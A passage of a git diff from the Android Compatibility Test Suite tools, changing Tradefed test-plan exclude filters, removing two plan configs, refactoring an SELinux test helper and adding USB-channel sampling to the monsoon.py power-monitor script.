<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyGyroMultiChannel" />
@@ -274,12 +196,12 @@
<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRegisterMultipleChannels" />
<option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testReconfigure" />
- <!-- b/63916274 -->
- <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.WiredHeadsetTest" />
+ <!-- b/65843095 -->
+ <option name="compatibility:exclude-filter" value="CtsLogdTestCases logd#statistics" />
+ <option name="compatibility:exclude-filter" value="CtsLogdTestCases logd#sepolicy_rate_limiter" />
- <!-- b/79134522 -->
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
+ <!-- b/67377433 -->
+ <!-- fails only on angler/bullhead userdebug -->
+ <option name="compatibility:exclude-filter" value="CtsLiblogTestCases liblog#wrap_mode_blocks" />
- <!-- b/69277153 -->
- <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-reference-aosp.xml b/tools/cts-tradefed/res/config/cts-reference-aosp.xml
deleted file mode 100644
index bedbb4b..0000000
--- a/tools/cts-tradefed/res/config/cts-reference-aosp.xml
+++ /dev/null
@@ -1,175 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Runs a subset of CTS tests using a reference AOSP system image">
-
- <include name="cts" />
-
- <option name="plan" value="cts-reference-aosp" />
-
- <option name="compatibility:primary-abi-only" value="true" />
-
- <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
- <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
-
- <!-- Tell all HostTests to exclude certain annotations -->
- <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
- <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
-
- <!-- Radio system of a reference AOSP system image is not checked -->
- <option name="compatibility:exclude-filter" value="CtsTelephonyTestCases" />
- <option name="compatibility:exclude-filter" value="CtsTelephony2TestCases" />
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
- <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.PackageIncidentTest#testPackageServiceDump" />
-
- <!-- Exclude telephony related testcases -->
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testGetIccAuthentication" />
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testHasCarrierPrivileges" />
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testSendDialerSpecialCode" />
- <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_metered" />
- <option name="compatibility:exclude-filter" value="CtsNetTestCasesLegacyApi22 android.net.cts.legacy.api22.ConnectivityManagerLegacyTest#testStartUsingNetworkFeature_enableHipri" />
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testAppSpecificSmsToken" />
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testReceiveTextMessage" />
- <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.NoSystemFunctionPermissionTest#testSendSms" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppSummary" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testCallback" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testDeviceSummary" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testTagDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUserSummary" />
-
- <!-- Exclude not applicable testcases-->
- <option name="compatibility:exclude-filter" value="CtsSignatureTestCases" />
- <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.UsbDebuggingTest#testUsbDebugging" />
-
- <!--
- Exclude Webkit related testcases
- TODO(jaekyun@): b/63600240, Webkit related testcases will be revived when the RRO packaging logic is revised so that we can selectively compose a RRO from overlays.
- -->
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases" />
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.EphemeralTest#testWebViewLoads" />
- <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.WebViewTest#testWebView" />
- <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testCookieManager" />
- <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testStrictMode" />
- <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testWebViewVersionApi" />
- <option name="compatibility:exclude-filter" value="CtsHostsideWebViewTests com.android.cts.webkit.WebViewHostSideStartupTest#testWebViewVersionApiOnUiThread" />
- <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.cts.EmojiTest#testEmojiGlyph" />
- <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.util.cts.LinkifyTest#testAddLinks_doesNotAddLinksForUrlWithoutProtocolAndWithoutKnownTld" />
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAccessAutoLinkMask" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinkIfAppendedTextCompletesPartialUrlAtTheEndOfExistingText" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinkIfAppendedTextUpdatesUrlAtTheEndOfExistingText" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksEvenWhenThereAreUrlsSetBefore" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksWhenAutoLinkIsEnabled" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_addsLinksWhenTextIsSpannableAndContainsUrlAndAutoLinkIsEnabled" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_doesNotAddLinksWhenAppendedTextDoesNotContainLinks" />
- <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testAppend_setsMovementMethodWhenTextContainsUrlAndAutoLinkIsEnabled" />
-
- <!--
- Exclude testcases failing on AOSP Pixel system.img
- TODO(jaeshin@): b/63302562, Track future fixes to AOSP Pixel system.img and revive these testcases accordingly.
- -->
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.EphemeralTest#testExposedSystemActivities" />
- <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceCommand" />
- <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceSearchHandsFree" />
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
- <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp8Other0Qual1920x1080" />
-
- <!--
- exclude below three CtsAppTestCases testcases failing on AOSP system.img
- -->
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOpenOptionsMenu" />
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
-
- <!--
- Exclude Verity tese cases, because we need to disable Verity to test with GSI
- -->
- <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testEcAttestation" />
- <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testRsaAttestation" />
-
- <!-- Exclude test cases for b/64488375
- -->
-
- <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceCommand" />
- <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceSearchHandsFree" />
-
- <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_metered" />
-
- <option name="compatibility:exclude-filter" value="CtsNetTestCasesLegacyApi22 android.net.cts.legacy.api22.ConnectivityManagerLegacyTest#testStartUsingNetworkFeature_enableHipri" />
-
- <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.NoSystemFunctionPermissionTest#testSendSms" />
-
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testAppSpecificSmsToken" />
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testReceiveTextMessage" />
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
-
- <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
- <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
- <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForVendorExecutingCore" />
-
- <option name="compatibility:exclude-filter" value="CtsContentTestCases android.signature.cts.IntentTest#shouldNotFindUnexpectedIntents" />
-
- <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.cts.EmojiTest#testEmojiGlyph" />
- <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.util.cts.LinkifyTest#testAddLinks_doesNotAddLinksForUrlWithoutProtocolAndWithoutKnownTld" />
-
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
-
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewClientTest#testOnUnhandledKeyEvent" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testFindAll" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testFindNext" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testFlingScroll" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testGetContentHeight" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testGetHitTestResult" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testPageScroll" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testRequestFocusNodeHref" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testRequestImageRef" />
-
- <!-- Excluded till b/64841751 is fixed
- -->
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppSummary" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppCallback" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testDeviceSummary" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testTagDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUserSummary" />
-
- <!-- Not related to Treble
- -->
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testSimCardPresent" />
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testGetIccAuthentication" />
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testHasCarrierPrivileges" />
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testSendDialerSpecialCode" />
-
- <!-- b/68190722: Remove testcases that require RRO which is planned for Pi -->
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOpenOptionsMenu" />
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
-
- <!-- b/69072351: Internal bug in the "Freeform" feature of ActivityManager -->
- <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.ActivityManagerFreeformStackTests#testFreeformWindowManagementSupport" />
-
- <!-- b/69131975: Exclude android.jni.cts.JniStaticTest#test_linker_namespaces -->
- <option name="compatibility:exclude-filter" value="CtsJniTestCases android.jni.cts.JniStaticTest#test_linker_namespaces" />
-
- <!-- b/65561379: Exclude android.media.cts.MediaPlayerFlakyNetworkTest -->
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerFlakyNetworkTest" />
-
- <!-- b/69720253: GSI uses launcher2 in O -->
- <option name="compatibility:exclude-filter" value="CtsJankDeviceTestCases android.jank.cts.ui.CtsDeviceJankUi#testScrolling" />
-
-</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-suite.xml b/tools/cts-tradefed/res/config/cts-suite.xml
index dcab342..f2672ec 100644
--- a/tools/cts-tradefed/res/config/cts-suite.xml
+++ b/tools/cts-tradefed/res/config/cts-suite.xml
@@ -28,6 +28,7 @@
<include name="cts-preconditions" />
<include name="cts-system-checkers" />
<include name="cts-known-failures" />
+ <include name="cts-exclude" />
<option name="plan" value="cts-suite" />
<option name="test-tag" value="cts-suite" />
@@ -38,6 +39,11 @@
<!-- retain 200MB of logcat -->
<option name="max-tmp-logcat-file" value="209715200" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="settings put global package_verifier_enable 0" />
+ <option name="teardown-command" value="settings put global package_verifier_enable 1"/>
+ </target_preparer>
+
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
<option name="property-name" value="ro.build.type" />
<option name="expected-value" value="user"/> <!-- Device should have user build -->
diff --git a/tools/cts-tradefed/res/config/cts-vendor-interface.xml b/tools/cts-tradefed/res/config/cts-vendor-interface.xml
deleted file mode 100644
index 73ec49b..0000000
--- a/tools/cts-tradefed/res/config/cts-vendor-interface.xml
+++ /dev/null
@@ -1,70 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Runs a subset of CTS tests that can heavily exercise HALs">
-
- <include name="cts" />
-
- <option name="plan" value="cts-vendor-interface" />
-
- <!-- Include test modules -->
- <option name="compatibility:include-filter" value="CtsAadbHostTestCases" />
- <option name="compatibility:include-filter" value="CtsAccessibilityServiceTestCases" />
- <option name="compatibility:include-filter" value="CtsAccountManagerTestCases" />
- <option name="compatibility:include-filter" value="CtsAnimationTestCases" />
- <option name="compatibility:include-filter" value="CtsAppTestCases" />
- <option name="compatibility:include-filter" value="CtsAtraceHostTestCases" />
- <option name="compatibility:include-filter" value="CtsAutoFillServiceTestCases" />
- <option name="compatibility:include-filter" value="CtsCameraTestCases" />
- <option name="compatibility:include-filter" value="CtsContentTestCases" />
- <option name="compatibility:include-filter" value="CtsDeqpTestCases" />
- <option name="compatibility:include-filter" value="CtsFragmentTestCases" />
- <option name="compatibility:include-filter" value="CtsGraphicsTestCases" />
- <option name="compatibility:include-filter" value="CtsHostsideNetworkTests" />
- <option name="compatibility:include-filter" value="CtsIcuTestCases" />
- <option name="compatibility:include-filter" value="CtsKeystoreTestCases" />
- <option name="compatibility:include-filter" value="CtsLibcoreJavaUtilCollectionsTestCases" />
- <option name="compatibility:include-filter" value="CtsLibcoreOjTestCases" />
- <option name="compatibility:include-filter" value="CtsLibcoreTestCases" />
- <option name="compatibility:include-filter" value="CtsLocationTestCases" />
- <option name="compatibility:include-filter" value="CtsMediaStressTestCases" />
- <option name="compatibility:include-filter" value="CtsMidiTestCases" />
- <option name="compatibility:include-filter" value="CtsMonkeyTestCases" />
- <option name="compatibility:include-filter" value="CtsNetTestCases" />
- <option name="compatibility:include-filter" value="CtsOsTestCases" />
- <option name="compatibility:include-filter" value="CtsPdfTestCases" />
- <option name="compatibility:include-filter" value="CtsPreference2TestCases" />
- <option name="compatibility:include-filter" value="CtsPrintTestCases" />
- <option name="compatibility:include-filter" value="CtsProviderTestCases" />
- <option name="compatibility:include-filter" value="CtsRsBlasTestCases" />
- <option name="compatibility:include-filter" value="CtsSecurityHostTestCases" />
- <option name="compatibility:include-filter" value="CtsSecurityTestCases" />
- <option name="compatibility:include-filter" value="CtsSensorTestCases" />
- <option name="compatibility:include-filter" value="CtsShortcutHostTestCases" />
- <option name="compatibility:include-filter" value="CtsSignatureTestCases" />
- <option name="compatibility:include-filter" value="CtsSignatureTestCases" />
- <option name="compatibility:include-filter" value="CtsSustainedPerformanceHostTestCases" />
- <option name="compatibility:include-filter" value="CtsTelephonyTestCases" />
- <option name="compatibility:include-filter" value="CtsTextTestCases" />
- <option name="compatibility:include-filter" value="CtsUiRenderingTestCases" />
- <option name="compatibility:include-filter" value="CtsViewTestCases" />
- <option name="compatibility:include-filter" value="CtsWebkitTestCases" />
- <option name="compatibility:include-filter" value="CtsWidgetTestCases" />
- <option name="compatibility:include-filter" value="CtsWindowManagerHostTestCases" />
-
- <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:com.android.compatibility.common.util.VendorInterfaceTest" />
- <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:include-annotation:com.android.compatibility.common.util.VendorInterfaceTest" />
-
-</configuration>
diff --git a/tools/cts-tradefed/res/config/cts.xml b/tools/cts-tradefed/res/config/cts.xml
index 818004d..9022a41 100644
--- a/tools/cts-tradefed/res/config/cts.xml
+++ b/tools/cts-tradefed/res/config/cts.xml
@@ -15,39 +15,9 @@
-->
<configuration description="Runs CTS from a pre-existing CTS installation">
- <include name="everything" />
- <include name="cts-preconditions" />
- <include name="cts-system-checkers" />
- <include name="cts-known-failures" />
+ <include name="cts-common" />
+ <include name="cts-exclude" />
<option name="plan" value="cts" />
- <option name="test-tag" value="cts" />
-
- <option name="enable-root" value="false" />
- <!-- retain 200MB of host log -->
- <option name="max-log-size" value="200" />
- <!-- retain 200MB of logcat -->
- <option name="max-tmp-logcat-file" value="209715200" />
-
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="settings put global package_verifier_enable 0" />
- <option name="teardown-command" value="settings put global package_verifier_enable 1"/>
- </target_preparer>
-
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
- <option name="property-name" value="ro.build.type" />
- <option name="expected-value" value="user"/> <!-- Device should have user build -->
- <option name="throw-error" value="false"/> <!-- Only print warning if not user build -->
- </target_preparer>
-
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
- <option name="property-name" value="ro.product.locale" />
- <option name="expected-value" value="en-US"/> <!-- Device locale should be US English -->
- <option name="throw-error" value="false"/> <!-- Only print warning if not en-US -->
- </target_preparer>
- <template-include name="reporters" default="basic-reporters" />
-
- <!-- Include additional test metadata output. -->
- <template-include name="metadata-reporters" default="empty" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/retry.xml b/tools/cts-tradefed/res/config/retry.xml
index c4a7ced..cbecada 100644
--- a/tools/cts-tradefed/res/config/retry.xml
+++ b/tools/cts-tradefed/res/config/retry.xml
@@ -25,6 +25,7 @@
<include name="cts-preconditions" />
<include name="cts-system-checkers" />
<include name="cts-known-failures" />
+ <include name="cts-exclude" />
<option name="plan" value="cts-retry" />
<option name="test-tag" value="cts" />
diff --git a/tools/selinux/SELinuxNeverallowTestFrame.py b/tools/selinux/SELinuxNeverallowTestFrame.py
index f84f2ec..20e1ed4 100644
--- a/tools/selinux/SELinuxNeverallowTestFrame.py
+++ b/tools/selinux/SELinuxNeverallowTestFrame.py
@@ -68,10 +68,7 @@
sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
sepolicyAnalyze.setExecutable(true);
- /* obtain sepolicy file from running device */
- devicePolicyFile = File.createTempFile("sepolicy", ".tmp");
- devicePolicyFile.deleteOnExit();
- mDevice.pullFile("/sys/fs/selinux/policy", devicePolicyFile);
+ devicePolicyFile = android.security.cts.SELinuxHostTest.getDevicePolicyFile(mDevice);
}
private boolean isFullTrebleDevice() throws Exception {
diff --git a/tools/utils/java-cert-list-generator.sh b/tools/utils/java-cert-list-generator.sh
index 33e9aaa..3b09f86 100755
--- a/tools/utils/java-cert-list-generator.sh
+++ b/tools/utils/java-cert-list-generator.sh
@@ -40,12 +40,14 @@
*/
package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
/**
* Run "./cts/tools/utils/java-cert-list-generator.sh >
* cts/tests/tests/security/src/android/security/cts/CertificateData.java"
* to generate this file.
*/
+@SecurityTest
class CertificateData {
static final String[] CERTIFICATE_DATA = {
STARTCLASS
diff --git a/tools/utils/monsoon.py b/tools/utils/monsoon.py
index f3d63c5..6efaf98 100755
--- a/tools/utils/monsoon.py
+++ b/tools/utils/monsoon.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python2.6
+#!/usr/bin/env python
# Copyright (C) 2014 The Android Open Source Project
#
@@ -23,16 +23,25 @@
Example usages:
Set the voltage of the device 7536 to 4.0V
- python2.6 monsoon.py --voltage=4.0 --serialno 7536
+ python monsoon.py --voltage=4.0 --serialno 7536
Get 5000hz data from device number 7536, with unlimited number of samples
- python2.6 monsoon.py --samples -1 --hz 5000 --serialno 7536
+ python monsoon.py --samples -1 --hz 5000 --serialno 7536
Get 200Hz data for 5 seconds (1000 events) from default device
- python2.6 monsoon.py --samples 100 --hz 200
+ python monsoon.py --samples 100 --hz 200
Get unlimited 200Hz data from device attached at /dev/ttyACM0
- python2.6 monsoon.py --samples -1 --hz 200 --device /dev/ttyACM0
+ python monsoon.py --samples -1 --hz 200 --device /dev/ttyACM0
+
+Output columns for collection with --samples, separated by space:
+
+ TIMESTAMP OUTPUT OUTPUT_AVG USB USB_AVG
+ | | | |
+ | | | ` (if --includeusb and --avg)
+ | | ` (if --includeusb)
+ | ` (if --avg)
+ ` (if --timestamp)
"""
import fcntl
@@ -232,13 +241,18 @@
print >>sys.stderr, "waiting for calibration, dropped data packet"
continue
- out = []
- for main, usb, aux, voltage in data:
- if main & 1:
- out.append(((main & ~1) - self._coarse_zero) * self._coarse_scale)
+ def scale(val):
+ if val & 1:
+ return ((val & ~1) - self._coarse_zero) * self._coarse_scale
else:
- out.append((main - self._fine_zero) * self._fine_scale)
- return out
+ return (val - self._fine_zero) * self._fine_scale
+
+ out_main = []
+ out_usb = []
+ for main, usb, aux, voltage in data:
+ out_main.append(scale(main))
+ out_usb.append(scale(usb))
+ return (out_main, out_usb)
elif type == 1:
self._fine_zero = data[0][0]
@@ -317,6 +331,11 @@
print FLAGS.MainModuleHelp()
return
+ if FLAGS.includeusb:
+ num_channels = 2
+ else:
+ num_channels = 1
+
if FLAGS.avg and FLAGS.avg < 0:
print "--avg must be greater than 0"
return
@@ -359,39 +378,50 @@
# 'offset' = (consumed samples) * FLAGS.hz - (emitted samples) * native_hz
# This is the error accumulator in a variation of Bresenham's algorithm.
emitted = offset = 0
- collected = []
- history_deque = collections.deque() # past n samples for rolling average
+ chan_buffers = tuple([] for _ in range(num_channels))
+ # past n samples for rolling average
+ history_deques = tuple(collections.deque() for _ in range(num_channels))
try:
last_flush = time.time()
while emitted < FLAGS.samples or FLAGS.samples == -1:
# The number of raw samples to consume before emitting the next output
need = (native_hz - offset + FLAGS.hz - 1) / FLAGS.hz
- if need > len(collected): # still need more input samples
- samples = mon.CollectData()
- if not samples: break
- collected.extend(samples)
+ if need > len(chan_buffers[0]): # still need more input samples
+ chans_samples = mon.CollectData()
+ if not all(chans_samples): break
+ for chan_buffer, chan_samples in zip(chan_buffers, chans_samples):
+ chan_buffer.extend(chan_samples)
else:
# Have enough data, generate output samples.
# Adjust for consuming 'need' input samples.
offset += need * FLAGS.hz
while offset >= native_hz: # maybe multiple, if FLAGS.hz > native_hz
- this_sample = sum(collected[:need]) / need
+ this_sample = [sum(chan[:need]) / need for chan in chan_buffers]
if FLAGS.timestamp: print int(time.time()),
if FLAGS.avg:
- history_deque.appendleft(this_sample)
- if len(history_deque) > FLAGS.avg: history_deque.pop()
- print "%f %f" % (this_sample,
- sum(history_deque) / len(history_deque))
+ chan_avgs = []
+ for chan_deque, chan_sample in zip(history_deques, this_sample):
+ chan_deque.appendleft(chan_sample)
+ if len(chan_deque) > FLAGS.avg: chan_deque.pop()
+ chan_avgs.append(sum(chan_deque) / len(chan_deque))
+ # Interleave channel rolling avgs with latest channel data
+ data_to_print = [datum
+ for pair in zip(this_sample, chan_avgs)
+ for datum in pair]
else:
- print "%f" % this_sample
+ data_to_print = this_sample
+
+ fmt = ' '.join('%f' for _ in data_to_print)
+ print fmt % tuple(data_to_print)
+
sys.stdout.flush()
offset -= native_hz
emitted += 1 # adjust for emitting 1 output sample
- collected = collected[need:]
+ chan_buffers = tuple(c[need:] for c in chan_buffers)
now = time.time()
if now - last_flush >= 0.99: # flush every second
sys.stdout.flush()
@@ -410,7 +440,9 @@
flags.DEFINE_float("voltage", None, "Set output voltage (0 for off)")
flags.DEFINE_float("current", None, "Set max output current")
flags.DEFINE_string("usbpassthrough", None, "USB control (on, off, auto)")
- flags.DEFINE_integer("samples", None, "Collect and print this many samples")
+ flags.DEFINE_integer("samples", None,
+ "Collect and print this many samples. "
+ "-1 means collect indefinitely.")
flags.DEFINE_integer("hz", 5000, "Print this many samples/sec")
flags.DEFINE_string("device", None,
"Path to the device in /dev/... (ex:/dev/ttyACM1)")
@@ -418,5 +450,6 @@
flags.DEFINE_boolean("timestamp", None,
"Also print integer (seconds) timestamp on each line")
flags.DEFINE_boolean("ramp", True, "Gradually increase voltage")
+ flags.DEFINE_boolean("includeusb", False, "Include measurements from USB channel")
main(FLAGS(sys.argv))
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index d5811c3..c7d61e4 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -25,7 +25,7 @@
LOCAL_MODULE_CLASS := JAVA_LIBRARIES
LOCAL_MODULE_TAGS := optional
LOCAL_JAVA_LIBRARIES := junit
-
+-include cts/error_prone_rules_tests.mk
include $(BUILD_JAVA_LIBRARY)
cts-tf-dalvik-lib.jack := $(full_classes_jack)
@@ -68,11 +68,13 @@
LOCAL_MODULE_PATH := $(intermediates)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
